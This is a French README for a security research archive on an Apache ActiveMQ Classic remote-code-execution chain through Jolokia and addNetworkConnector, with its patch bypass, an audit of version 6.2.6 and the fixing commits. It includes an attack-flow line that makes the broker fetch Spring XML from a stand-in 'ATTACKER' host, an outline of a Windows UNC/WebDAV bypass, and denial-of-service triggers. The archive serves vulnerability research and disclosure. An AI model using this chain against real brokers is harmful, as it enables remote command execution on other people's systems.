Apache ActiveMQ Classic — Recherche sur les RCE

Archive de recherche privée pour la chaîne d'exécution de code à distance Jolokia → addNetworkConnector → xbean/Spring-XML d'Apache ActiveMQ Classic (CVE-2026-34197 et son contournement de correctif CVE-2026-42588), plus un audit complet de recherche automatique de la version corrigée 6.2.6 et une comparaison côte à côte avec l'article public de contournement de Crowdfense.

Toute l'exploitation a été réalisée contre des courtiers de laboratoire locaux (Docker / auto-hébergés). Les charges utiles utilisent des hôtes attaquants fictifs.

Contenu

Les arbres sources du fournisseur et les distributions binaires utilisées pendant les laboratoires sont intentionnellement exclus (ils sont en amont, pas les nôtres).

La vulnérabilité en une ligne

Un appelant Jolokia authentifié (non authentifié sur 6.0.0–6.1.1 via CVE-2024-32114) invoque BrokerView.addNetworkConnector(uri) avec une URI de découverte conçue dont l'intérieur vm://…?brokerConfig=xbean:<url> force le courtier à charger un XML Spring contrôlé par l'attaquant, ce qui instancie avec empressement un bean ProcessBuilder avant la validation du courtier → exécution de commande OS.

POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory dynamic broker creation  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext loads Spring XML  →  ProcessBuilder bean  →  RCE

Découvertes

En résumé : trois découvertes sont prouvées en direct pour root/XSS ; l'audit 6.2.6 ajoute un ensemble plus large qui est vérifié à la source et évalué de manière adverse, mais pas encore détoné en direct. Aucun des suppléments 6.2.6 n'est une nouvelle RCE non authentifiée — le fournisseur a fermé ces portes ; le risque résiduel s'est déplacé vers l'autorisation et l'encodage de sortie.

Chaîne d'exploitation prouvée

Nouveaux de l'audit 6.2.6 (vérifiés à la source)

Hors périmètre — Déni de service (catalogué, pas en titre)

AIOOBE ordinal MQTT QoS (QoS.values()[ordinal], cross-protocole, sans configuration) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException signed-short dans le démarshalage OpenWire · job immortel AMQ_SCHEDULED_REPEAT négatif.

Comparaison avec l'article de Crowdfense

L'article Apache ActiveMQ RCE Bypass de Crowdfense couvre la même chaîne (ils la classent sous CVE-2026-34197 ; nous suivons le contournement comme son propre CVE-2026-42588). Les deux récits convergent sur une défense à trois couches ; la seule divergence est la couche 2.

La seule lacune : leur astuce d'encodage en pourcentage de la couche 2 + UNC/WebDAV réalise une livraison entièrement distante sans primitive d'écriture locale. Le défaut de classificateur qu'elle exploite (activemq-spring/Utils.java:123-129, un startsWith("file://") brut sur la chaîne non décodée) est présent dans notre source exacte — mais la moitié distante est Windows uniquement (Linux traite //host/share comme un chemin local), et notre laboratoire était Linux, donc cela n'y était pas exerçable. C'est de toute façon mort sur 6.2.6 (la passerelle de schéma VMTransportFactory rejette xbean avant que Utils ne s'exécute).

Suivi : un hébergé sous Windows 5.19.6 (ou toute version pré-5.19.7/6.2.6) + écouteur SMB/WebDAV nous permettrait de démontrer le contournement entièrement distant de la liste d'autorisation — la seule capacité que l'article possède et que notre engagement n'a pas montrée.

Correctif (ActiveMQ 6.2.6)

Trois commits ferment la chaîne : c1b44af11 (valider les URI composites sans parenthèses — parseComposite inconditionnellement + récursion), c2fc7a1d6 (bloquer XBeanBrokerFactory par défaut via la liste d'autorisation de schéma VMTransportFactory), et be8415f24 (durcissement de la configuration exemple : Jolokia en boucle locale, liste de refus d'opérations avec addNetworkConnector).